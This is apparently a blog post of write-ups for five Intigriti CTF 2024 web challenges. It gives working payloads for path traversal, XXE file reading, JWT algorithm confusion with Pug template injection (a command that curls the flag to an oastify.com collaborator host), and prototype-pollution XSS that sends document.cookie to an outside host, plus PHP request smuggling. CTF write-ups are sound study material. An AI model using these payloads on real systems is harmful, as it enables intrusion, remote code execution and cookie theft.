Post

Intigriti CTF 2024 - WEB

Intigriti CTF 2024 - WEB

Pizza Paradise

Solvers: 395
Author: CryptoCat

Description

Something weird going on at this pizza store!!
Pizza Paradise

Solution

Looking around does not have any interesting things, let’s check the robots.txt file.

1
2
3
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/

Let access the /secret_172346606e1d24062e891d537e917a90.html page.
Secret Page

Check the source code of the page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>Top Secret Government Access</title>
        <link
            href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"
            rel="stylesheet"
        />
        <link rel="stylesheet" href="/assets/css/secret-theme.css" />
        <script src="/assets/js/auth.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
        <script>
            function hashPassword(password) {
                return CryptoJS.SHA256(password).toString();
            }

            function validate() {
                const username = document.getElementById("username").value;
                const password = document.getElementById("password").value;

                const credentials = getCredentials();
                const passwordHash = hashPassword(password);

                if (
                    username === credentials.username &&
                    passwordHash === credentials.passwordHash
                ) {
                    return true;
                } else {
                    alert("Invalid credentials!");
                    return false;
                }
            }
        </script>
    </head>
    <body>
        <div class="container">
            <h1>Top Secret Government Access</h1>
            <form id="loginForm" action="login.php" method="POST" onsubmit="return validate();">
                <label for="username">Username:</label>
                <input type="text" id="username" name="username" required /><br />
                <label for="password">Password:</label>
                <input type="password" id="password" name="password" required /><br />
                <input type="submit" value="Login" />
            </form>
        </div>
    </body>
</html>

We can see that the password is hashed using SHA256 and the credentials are stored in the /assets/js/auth.js file.

1
2
3
4
5
6
7
8
9
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";

function getCredentials() {
    return {
        username: validUsername,
        passwordHash: validPasswordHash,
    };
}

Let crack the password hash using CrackStation.

CrackStation

We have the credentials, let’s login.

1
2
username: agent_1337
password: intel420

Login successfully and access to the portal and download the secret file.

Portal

When we click download the secret file, we get the GET request in burp suite.

1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/topsecret1.png

Let try /etc/passwd.

1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/etc/passwd

The response is File path not allowed!. Try path traversal inside the /assets/images directory.

1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../etc/passwd

It gets File not found! so it works!

We will try to get the source code of this file topsecret_a9aedc6c39f654e55275ad8e65e316b3.php.

1
GET /topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../topsecret_a9aedc6c39f654e55275ad8e65e316b3.php

Source Code

We can see the flag inside the source code.

1
$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';

Flag: INTIGRITI{70p_53cr37_m15510n_c0mpl373}

Biocorp

Solvers: 389
Author: CryptoCat

Description

BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they’ve decoupled any dangerous functionality from the public facing website. Could you give it a quick review?
Biocorp

Solution

We look around the website and find nothing interesting. Let’s check the source code which is provided by the challenge.
Biocorp Source Code

We notice some interesting things in the source code.

1
2
3
4
5
6
7
8
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];

if ($ip_address !== '80.187.61.102') {
    echo "<h1>Access Denied</h1>";
    echo "<p>You do not have permission to access this page.</p>";
    exit;
}

We can see the ip for the vpn is 80.187.61.102 that can be access to other restricted pages. Let’s access that page with by adding the header X-Biocorp-Vpn: 80.187.61.102 to the request. Biocorp Panel

We are now access to the restricted page. Let’s continue to check the source code of the page.

1
2
3
4
5
6
7
8
9
10
11
12
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
    $xml_data = file_get_contents('php://input');
    $doc = new DOMDocument();
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
        echo "<h1>Invalid XML</h1>";
        exit;
    }
} else {
    $xml_data = file_get_contents('data/reactor_data.xml');
    $doc = new DOMDocument();
    $doc->loadXML($xml_data, LIBXML_NOENT);
}

We can see that this page display the content of the reactor_data.xml file. And it also accept the POST request with the content type is application/xml.

This is the typical XML External Entity (XXE) attack. We can read the file from the local file system.

Let’s try to read the flag.txt file.

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<reactor>
    <status>
        <temperature>&xxe;</temperature>
        <pressure>1337</pressure>
        <control_rods>Lowered</control_rods>
    </status>
</reactor>

Biocorp Flag

We have the flag.

Flag: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}

Cat Club

Solvers: 130
Author: CryptoCat

Description

People are always complaining that there’s not enough cat pictures on the internet.. Something must be done!!
Cat Club

Solution

Create a new account and login to view more cat pictures.
Cat Club Login

Walk through and nothing special except the name of our account is reflected in the page title. Let’s check the source code from the challenge provider.
Cat Club Source Code

We can see the file sanitizer.js is used to sanitize the username with regex that only allow the letters and numbers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const { BadRequest } = require("http-errors");

function sanitizeUsername(username) {
    const usernameRegex = /^[a-zA-Z0-9]+$/;

    if (!usernameRegex.test(username)) {
        throw new BadRequest("Username can only contain letters and numbers.");
    }

    return username;
}

module.exports = {
    sanitizeUsername,
};

Let’s check the code where the username is reflected in the page title.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.get("/cats", getCurrentUser, (req, res) => {
    if (!req.user) {
        return res.redirect("/login?error=Please log in to view the cat gallery");
    }

    const templatePath = path.join(__dirname, "views", "cats.pug");

    fs.readFile(templatePath, "utf8", (err, template) => {
        if (err) {
            return res.render("cats");
        }

        if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

        const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

        res.send(html);
    });
});

Hmm, it seems like there is an interesting thing here.

1
2
3
4
const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

The username is reflected by the pug template. It seems to be vulnerable to the SSTI attack. Let’s check SSTI HackTricks. Check the pug template.
Cat Club Pug Template

If now we test out the #{7*7} to see if it works. It will not work because the username is sanitized by the sanitizer.js file. Let’s check the middleware of getCurrentUser.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function getCurrentUser(req, res, next) {
    const token = req.cookies.token;

    if (token) {
        verifyJWT(token)
            .then((payload) => {
                req.user = payload.username;
                res.locals.user = req.user;
                next();
            })
            .catch(() => {
                req.user = null;
                res.locals.user = null;
                next();
            });
    } else {
        req.user = null;
        res.locals.user = null;
        next();
    }
}

We can see the token is verified by the verifyJWT function. Let’s check it out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const jwt = require("json-web-token");
const fs = require("fs");
const path = require("path");

const privateKey = fs.readFileSync(path.join(__dirname, "..", "private_key.pem"), "utf8");
const publicKey = fs.readFileSync(path.join(__dirname, "..", "public_key.pem"), "utf8");

function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(privateKey, payload, "RS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

function verifyJWT(token) {
    return new Promise((resolve, reject) => {
        if (!token || typeof token !== "string" || token.split(".").length !== 3) {
            return reject(new Error("Invalid token format"));
        }

        jwt.decode(publicKey, token, (err, payload, header) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }

            if (header.alg.toLowerCase() === "none") {
                return reject(new Error("Algorithm 'none' is not allowed"));
            }

            resolve(payload);
        });
    });
}

module.exports = { signJWT, verifyJWT };

We can see that if the algorithm is none, it will be rejected. What if we can make the algorithm confusion? Look through the internet and found out this site JWT Algorithm Confusion.

The reason we choose this CVE-2023-48238 is because the json-web-token in the package.json has 3.0.0 version. And the affected version is < 3.1.1 so we can exploit it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
    "name": "cat-club",
    "version": "4.2.0",
    "main": "app/app.js",
    "scripts": {
        "start": "node app/app.js"
    },
    "dependencies": {
        "bcryptjs": "^2.4.3",
        "cookie-parser": "^1.4.6",
        "dotenv": "^16.4.5",
        "pug": "^3.0.3",
        "express": "^4.21.0",
        "express-session": "^1.18.0",
        "json-web-token": "~3.0.0",
        "pg": "^8.12.0",
        "sequelize": "^6.37.3"
    },
    "devDependencies": {
        "nodemon": "^3.1.4"
    },
    "engines": {
        "node": ""
    },
    "license": "MIT",
    "keywords": [],
    "author": "",
    "description": ""
}

We can also get the public key from /jwks.json.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});

Cat Club JWK

Let’s exploit
First, let’s create a script to extract and format the public key from the JWKS endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import base64
import json

jwks = {
    "keys": [{
        "kty": "RSA",
        "n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
        "e": "AQAB",
        "alg": "RS256",
        "use": "sig"
    }]
}

key_data = jwks["keys"][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data["n"] + "=="), byteorder="big")
e = int.from_bytes(base64.urlsafe_b64decode(key_data["e"] + "=="), byteorder="big")

public_key = rsa.RSAPublicNumbers(e, n).public_key()

pem_public_key = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

with open("public_key.pem", "wb") as f:
    f.write(pem_public_key)

But the JWT is using RS256 alg so we need to change to HS256 and then inject payload into username.
Cat Club SSTI

Then use jwt_tool to create a malicious token with algorithm confusion:

1
python3 jwt_tool.py --exploit k -pk public_key.pem "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7ZnVuY3Rpb24oKXtsb2NhbExvYWQ9Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDtzaD1sb2NhbExvYWQoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIHZoZzk4bWxlN21rcTQwZ3lvNHM3MzExZjI2OHh3cmtnLm9hc3RpZnkuY29tYGNhdCAvZmxhZypgJyl9KCl9In0.L8Z5MJNc5VTuBu9w5IFLnE6Slt5H5pJDCd_0xAgstz8"

Cat Club JWT

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7ZnVuY3Rpb24oKXtsb2NhbExvYWQ9Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDtzaD1sb2NhbExvYWQoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDllb241MGlzNDBoNDFlZGNsaXBsMGZ5dHprNWJ0Nmh2Lm9hc3RpZnkuY29tL2BjYXQgL2ZsYWcqYCcpfSgpfSJ9.7UG2A-miTBExSXBWoIh1TPsJdkOIUV5pEoBCZCqIm5U

Check the burp collaborator and we got the flag.
Cat Club Flag

Flag: INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vuln5_l1k3_7h47}

Work Break

Solvers: 26
Author: a_l & wubz

Description

Your work portal contains multiple web vulnerabilities. Can you identify them and extract the session cookie of a support team member?
Credits: Amit Laish & Dor Konis - GE Vernova
Work Break

Solution

Just signup and login to the page.
Work Break Login

Now we are in the profile of our account. We can edit to add or change “Name”, “Phone”, “Position”. It also display the performance chart, maybe to keep track of the employee’s performance.
There is also a chat feature that we can send message to get support.
Work Break Chat

View source of the profile page and we can see there are chat.js and profile.js file.
Work Break Source Code

Let’s check the chat.js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
document.addEventListener("DOMContentLoaded", () => {
    const chatButton = document.getElementById("chatButton");
    const chatWindow = document.getElementById("chatWindow");
    const closeChat = document.getElementById("closeChat");
    const chatForm = document.getElementById("chatForm");
    const chatInput = document.getElementById("chatInput");
    const chatMessages = document.getElementById("chatMessages");

    chatButton.addEventListener("click", () => {
        chatWindow.style.display = chatWindow.style.display === "none" ? "flex" : "none";
    });

    closeChat.addEventListener("click", () => {
        chatWindow.style.display = "none";
    });

    chatForm.addEventListener("submit", async (e) => {
        e.preventDefault();
        const message = chatInput.value.trim();

        if (message === "") return;

        appendMessage("user", message);
        chatInput.value = "";

        try {
            const response = await fetch("/api/support/chat", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ message }),
            });

            const data = await response.json();

            if (Array.isArray(data.supportResponse)) {
                data.supportResponse.forEach((msg) => {
                    appendMessage("support", msg);
                });
            } else {
                appendMessage("support", data.supportResponse);
            }
        } catch (error) {
            appendMessage("support", "An error occurred. Please try again later.");
        }
    });

    const appendMessage = (sender, message) => {
        const messageElement = document.createElement("div");
        messageElement.classList.add("chat-message", sender);
        const messageText = document.createElement("span");
        messageText.classList.add("message-text");
        messageText.textContent = message;
        messageElement.appendChild(messageText);
        chatMessages.appendChild(messageElement);

        chatMessages.scrollTop = chatMessages.scrollHeight;
    };
});

It seems like just a normal sent and show the message. Let’s check the profile.js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
const getUserIdFromUrl = () => {
    const path = window.location.pathname;
    const segments = path.split("/");
    return segments[segments.length - 1];
};

const setError = (error) => {
    const errorText = document.getElementById("errorText");
    errorText.innerText = error;

    errorText.addEventListener("transitionend", () => {
        errorText.innerText = "";
        errorText.classList.remove("fade-out");
    });
    errorText.classList.add("fade-out");
};

let userTasks = [];
document.addEventListener("DOMContentLoaded", async function () {
    const logoutButton = document.getElementById("logoutButton");
    const performanceIframe = document.getElementById("performanceIframe");
    const profileForm = document.getElementById("profileForm");
    const editButton = document.getElementById("editButton");
    const submitButton = document.getElementById("submitButton");
    const emailField = document.getElementById("email");
    const nameField = document.getElementById("name");
    const phoneField = document.getElementById("phone");
    const positionField = document.getElementById("position");
    const userId = getUserIdFromUrl();

    try {
        const response = await fetch(`/api/user/profile/${userId}`);
        const profileData = await response.json();
        if (response.ok) {
            const userSettings = Object.assign(
                { name: "", phone: "", position: "" },
                profileData.assignedInfo
            );

            if (!profileData.ownProfile) {
                editButton.style.display = "none";
            } else {
                editButton.style.display = "inline-block";
            }

            emailField.value = profileData.email;
            nameField.value = userSettings.name;
            phoneField.value = userSettings.phone;
            positionField.value = userSettings.position;

            userTasks = userSettings.tasks || [];
            performanceIframe.addEventListener("load", () => {
                performanceIframe.contentWindow.postMessage(userTasks, "*");
            });
        } else if (response.unauthorized) {
            window.location.href = "/login";
        } else {
            setError(profileData.error);
        }
    } catch (error) {
        console.log("Error fetching profile: " + error.message);
    }

    editButton.addEventListener("click", () => {
        nameField.disabled = false;
        phoneField.disabled = false;
        positionField.disabled = false;

        nameField.classList.add("editable");
        phoneField.classList.add("editable");
        positionField.classList.add("editable");

        submitButton.style.display = "inline-block";
        editButton.style.display = "none";
    });

    profileForm.addEventListener("submit", async (e) => {
        e.preventDefault();

        const updatedSettings = {
            name: nameField.value,
            phone: phoneField.value,
            position: positionField.value,
        };

        try {
            const response = await fetch("/api/user/settings", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(updatedSettings),
            });

            if (response.ok) {
                alert("Profile updated successfully!");
                nameField.disabled = true;
                phoneField.disabled = true;
                positionField.disabled = true;

                nameField.classList.remove("editable");
                phoneField.classList.remove("editable");
                positionField.classList.remove("editable");

                submitButton.style.display = "none";
                editButton.style.display = "inline-block";
            } else if (response.unauthorized) {
                window.location.href = "/login";
            } else {
                const errorData = await response.json();
                setError(errorData.error);
            }
        } catch (error) {
            setError(error.message);
        }
    });

    logoutButton.addEventListener("click", async function () {
        try {
            const response = await fetch("/api/auth/logout", {
                method: "POST",
            });

            if (response.ok) {
                window.location.href = "/login";
            } else {
                const errorData = await response.json();
                console.log("Logout failed: " + errorData.message);
            }
        } catch (error) {
            console.log("Error during logout: " + error.message);
        }
    });
});

window.onresize = () => performanceIframe.contentWindow.postMessage(userTasks, "*");

// Not fully implemented - total tasks
window.addEventListener(
    "message",
    (event) => {
        if (event.source !== frames[0]) return;

        document.getElementById(
            "totalTasks"
        ).innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
    },
    false
);

We found some interesting part in the code.

1
2
3
4
const userSettings = Object.assign(
    { name: "", phone: "", position: "" },
    profileData.assignedInfo
);
  • Object.assign() merges all properties from source into target.
  • The profileData.assignedInfo is from the /api/user/profile/:id endpoint.
  • There is no validation for the profileData.assignedInfo so we can inject the tasks property.

Let’s update the profile and we can see the burp have POST request to /api/user/settings endpoint.
Work Break Profile Work Break Settings

Let’s test out simple prototype pollution if we can inject more properties.

1
2
3
4
5
6
{
    "name":"Anon",
    "phone":"0123456789",
    "position":"pentest",
    "tasks":"10"
}

Work Break Prototype Pollution Test

It will be Not Allowed to Modify Tasks.

So we need to use __proto__ to trigger prototype chain pollution.
Now we can inject more properties and curl to our burp collaborator to get the SID.

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "name":"Anon",
    "phone":"0909099099",
    "position":"<img src=x>",
    "__proto__":{
        "tasks":[
            {
                "date":"2024-11-20",
                "tasksCompleted":"<img src=x onerror='window.parent.postMessage({\"totalTasks\":\"<img src=x onerror=fetch(`https://o9y20fd7zfcjwt8rgxk0vut8uz0qotci.oastify.com/`+document.cookie)>\"}, \"*\");'>"
            }
        ]
    }
}

The reason we use postMessage instead of alert is that in source code at chat.js.

1
document.getElementById("totalTasks").innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
  • This code has event listener for message and render HTML. So using alert will just pop up the alert but not render the HTML.
  • When using postMessage, our payload will be rendered through innerHTML and we can get the cookie from the response.

And also measure to set date to real time in order to avoid the date is not up to date.

Last thing is that why we need to use window.parent:

  1. Context Hierarchy.
    1
    2
    3
    
    Parent Window (Main Page)
     |
     └── iframe (Performance Frame)
    
    • Our payload is in the iframe.
    • Need to send the message to the parent window to trigger the innerHTML to get the cookie.
  2. If we use postMessage for example:
    1
    
    "tasksCompleted": "<img src=x onerror='postMessage({\"totalTasks\":\"...\"}, \"*\");'>"
    
    • The message will be sent to the iframe itself.
    • Not the parent window.
    • Can not trigger the innerHTML to get the cookie.
  3. For window.parent.postMessage:
    • The message will be sent from the iframe to the parent window.
    • Parent window will handle the message.
    • Trigger the innerHTML to get the cookie.

Work Break Prototype Pollution 2

Now when we sent the payload and reload the profile page, we can see there is appears:

1
2
Total tasks completed: error image
Tasks Completed Today: error image

Work Break Prototype Pollution 3

Check the burp collaborator and we got the SID.
Work Break SID

1
SID=a477a376-be80-4534-a0ae-4599b950a417

Finally, we let check the chatbot.
Work Break Chatbot

The chatbot says that give me the profile URL and it will check what is the profile. We will follow the instruction to see what happen.

1
https://workbreak-0.ctf.intigriti.io/profile/be6a3773-9a03-4f19-a3c0-518845b9ae52

Work Break Chatbot 2

We can see the response that “Logging into my staff account.” Let’s check out the burp collaborator again.
Work Break Chatbot 3

We got the flag.

Flag: INTIGRITI{5up3r_u53r_535510n}

Greetings

Solvers: 23
Author: abd0ghazy

Description

What could go wrong with a simple greetings service based in micro services?
Greetings

Solution

Enter a random name and we can see nothing special.
Greetings Name

Let’s check the source code from the challenge provider.
Greetings Source Code

Here is the folder and files from the zip file.
Greetings Source Code VSCode

Look around the source code and we can see two files that we need to check.

  • index.js
  • index.php

Let’s check index.js first.

1
2
3
4
5
6
7
8
9
10
11
const express = require("express");

const app = express();

app.get("*", (req, res) => {
    res.send(`Hello, ${req.path.replace(/^\/+|\/+$/g, "")}`);
});

app.listen(3000, () => {
    console.log(`App listening on port 3000`);
});
  • It’s a simple Express.js application that listens on port 3000.
  • It will greet the user based on the path they entered.
  • The path is sanitized by removing leading and trailing slashes.

Let’s check index.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
if(isset($_POST['hello']))
{
    session_start();
    $_SESSION = $_POST;
    if(!empty($_SESSION['name']))
    {
        $name = $_SESSION['name'];
        $protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
        $options = (isset($_SESSION['options']) && !preg_match('/http|file|\\\/i', $_SESSION['options'])) ? $_SESSION['options'] : null;
        
        try {
            if(isset($options) && isset($protocol))
            {
                $context = stream_context_create(json_decode($options, true));
                $resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
            }
            else
            {
                $resp = @fopen("http://127.0.0.1:3000/$name", 'r', false);
            }

            if($resp)
            {
                $content = stream_get_contents($resp);
                echo "<div class='greeting-output'>" . htmlspecialchars($content) . "</div>";
                fclose($resp);
            }
            else
            {
                throw new Exception("Unable to connect to the service.");
            }
        } catch (Exception $e) {
            error_log("Error: " . $e->getMessage());
            
            echo "<div class='greeting-output error'>Something went wrong!</div>";
        }
    }
}
?>

Let’s dive into the code analysis.
1. About input handling and filtering:

1
$protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
  • Filters out http/file protocols using regex.
  • Filters out \ using regex.
  • Both default to null if not set/valid.

So we can use ftp protocol with proxy option to redirect requests.

2. About stream_context_create:

1
$context = stream_context_create(json_decode($options, true));
  • Parses the JSON options to create a context.
  • Uses the parsed options to configure the stream context.

We can inject FTP proxy settings to redirect requests to internal web service.

3. For the HTTP request:

1
$resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
  • The name parameter is used in the URL without proper sanitization.

We can inject HTTP headers through newlines and craft a custom HTTP requests.

Let’s exploit it. Here is our payload:

1
2
3
4
5
6
7
name=aaa HTTP/1.1
Host: a
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
password: admin

username=admin&hello=a&protocol=ftp://a/flag?&options={"ftp":{"proxy":"tcp://web:5000"}}

Let’s explain details:
1. For the request smuggling part:

1
2
3
4
5
aaa HTTP/1.1
Host: a
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
password: admin
  • Creates new HTTP request inside name parameter
  • Injects authentication headers

2. For the proxy settings:

1
protocol=ftp://a/flag?
  • Uses FTP to bypass protocol filter
  • Points to flag endpoint

3. About stream options:

1
2
3
4
5
{
    "ftp":{
        "proxy":"tcp://web:5000"
    }
}
  • Injects proxy settings to redirect requests to internal web service.

To know why we use this stream options is that:
From this FTP context options article
There is a statement that says:

1
2
3
FTP context options:
proxy string - Proxy FTP request via http proxy server
Example format: tcp://squid.example.com:8000
  • Requires specific format for FTP context options
  • Must use ftp as top-level key
  • proxy is the official option name
  • Must use tcp:// format

Here is the workflow exploit:

  1. Send crafted POST request with payload
  2. Application processes FTP protocol and proxy settings
  3. Request gets redirected to internal service
  4. Smuggled HTTP headers bypass authentication
  5. Access flag endpoint through proxied connection

Let’s see the result.
Greetings Exploit

We got the flag.

Flag: INTIGRITI{5mu66l1n6_r3qu3575_w17h_f7p}

This post is licensed under CC BY 4.0 by the author.